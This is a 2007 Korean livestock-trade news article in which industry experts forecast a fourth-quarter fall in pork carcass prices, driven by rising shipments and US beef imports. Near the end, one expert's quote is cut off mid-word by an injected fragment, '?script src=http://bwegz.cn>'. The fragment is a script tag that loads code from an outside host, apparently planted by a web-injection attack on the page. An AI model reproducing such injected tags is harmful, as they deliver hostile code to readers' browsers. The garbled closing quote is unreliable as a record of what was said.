올 4분기 돼지고기 가격은 계절적 요인과 미산 쇠고기 수입 등 악재가 곳곳에 도사리면서 하락세가 불가피할 전망이다.
비육돈의 출하가 10월 이후 지속적으로 늘어날 경우 가격 하락국면이 이어질 것으로 예상되는 가운데 일부 전문가들은 출하 물량 증가와 미산 쇠고기 수입 본격화가 동시에 진행될 경우 생산비 이하의 가격 하락도 점쳐진다고 우려하고 있다.
지금까지는 예상외로 시장에서 가격이 지지되면서 돈가가 나쁘지 않았다는 평가지만 현재 시장의 호재가 그리 많지 않아 상승요인이 없다는 분석이다.
그러나 미산 갈비 수입 여부가 연말 대선을 지나 내년으로 넘어갈 가능성이 제기되고 있고, 물량증가가 예상대로 크지 않을 경우 계절적 비수기를 감안하더라도 4분기 돼지고기 가격이 3분기 돼지고기 평균 가격의 10% 이상 빠지지는 않을 것이라는 분석도 나오고 있다.
이에 본지는 관련 업계 전문가 10명에게 4분기 돼지가격이 어떻게 예상되는지 들어봤다.
#가격 약세 예상
축산물등급판정소 등에 따르면 돼지고기 지육(비육돈기준) kg당 전국 평균가격은 올 들어 지난 6월 3937원을 정점으로 7월 3536원, 8월 3399원, 9월 3396원으로 소폭의 하락세를 보였다. 이 같은 약세는 비수기에 접어드는 4분기에도 지속될 것으로 보인다.
전문가들은 이 같은 약세 현상이 계절적 비수기와 함께 양돈농가의 성돈 출하의향에서도 살펴볼 수 있다고 설명한다.
농업관측정보센터가 조사한 양돈농가 성돈 출하의향의 경우 11월 기준 출하지수가 105로 4분기 중 가장 높아 7월의 100보다 높게 나타났고, 도축실적 기준 출하지수 역시 11월이 가장 많은 가운데 7월보다 21.6% 많은 것으로 나타났다.
또 계절적으로 비육돈의 출하가 늘어나는 10월과 11월의 성돈(100kg) 산지가격은 18~19만원선으로 지난해 같은 기간 20만8000원보다 11% 가량 낮은 수준이 될 것으로 예상됐다.
양형조 한국육류유통수출입협회 기획실장은 “4분기 돼지고기 가격은 생산량증가와 미산 쇠고기 수입량 증가 등으로 지육 kg당 2500원선이 될 가능성이 높다”며“3분기에 비해 20% 이상 가격이 하락할 전망”이라고 말했다.
이와 함께 미산 쇠고기 수입이 확대될 경우 10월 이후 생산비 이하의 가격하락도 우려되고 있다.
정규성 축산물유통연구소장은 “계절적 비수기와 도축 물량 증가로 돼지고기가격이 2700원대까지 떨어질 가능성이 있다”며“다양한 변수가 있지만 악재가 겹칠 경우 그 이하까지도 가격하락 가능성이 있다”고 덧붙였다.
김선강 CJ(주) 사료마케팅실 부장은 “모돈 증가로 출하두수가 늘고 있으며 수입돈육도 증가해 가격 하락이 불가피할 것으로 보인다”며 “농가는 결국 생산성 싸움으로 승부를 걸어야 할 것”이라고 강조했다.
오명호 대상팜스코 마케팅 실장도 “미산 쇠고기가 수입됐다는 심리적인 영향으로 돼지고기 가격에 영향을 미치기 시작했다”며 “하락세를 보이다 대선이후에는 상승세로 반전될 것으로 보인다”고 말했다.
이광희 삼양사 사료마케팅팀 부장은 “지금까지는 시장에서 나름대로 저항하면서 가격을 지지해 왔으나 앞으로는 호재가 없는 게 사실이다”며 “10월에 빠르게 하락하다 점차 상승곡선을 그릴 것이다”고 내다봤다.
#10%이상은 안 빠진다
돼지고기 가격이 떨어지더라도 3분기에 비해 10%이상 떨어지지는 않을 것이라는 분석도 제기됐다.
FTA(자유무역협정)와 미산 쇠고기 수입여부 등의 문제가 잠복해 있고, 돼지고기 수입 규모도 고려 대상이지만 미산 갈비 수입여부가 내년 초까지 넘어갈 가능성이 있어 4분기 급격한 가격하락은 초래되지 않을 것이라는 전망이다.
김욱 농협 서울축산물공판장 경매실장은 “돼지고기 가격의 경우 수입쇠고기의 영향을 많이 받을 것으로 예상되지만 수입쇠고기가 시장에 본격적으로 풀리는 데는 시간이 걸릴 것으로 보여 3000원에서 3100원대의 가격대는 형성할 수 있을 것으로 본다”고 말했다.
전원배 (주)선진 식육유통BU장은 “10월 중순까지는 3000원대 이하의 약세가 예상되지만 연말 소비촉진분위기와 돼지고기 수입 등의 문제를 종합적으로 분석해 볼 때 4분기를 통틀어 3400원대를 형성할 것으로 전망된다”고 말했다.
또 4분기 돈가가 일시적으로 하락세를 보일 수는 있을 것이나 현재 출하량이 늘어난 것은 조기 출하물량이 많아진 것으로 생각만큼 하락세가 크지는 않을 것이란 분석도 제기되고 있다.
강화순 (주)애그리브랜드 퓨리나코리아 이사는 “4분기는 일시적으로 하락세를 보이긴 하겠지만 지육 kg당 3000원선 이상은 유지될 것으로 보인다”며 “이럴 때 일수록 심리적으로 무너지?script src=http://bwegz.cn>
- 기자명 최상희, 홍동희
- 입력 2007.10.01 10:00
- 수정 2015.06.22 21:27
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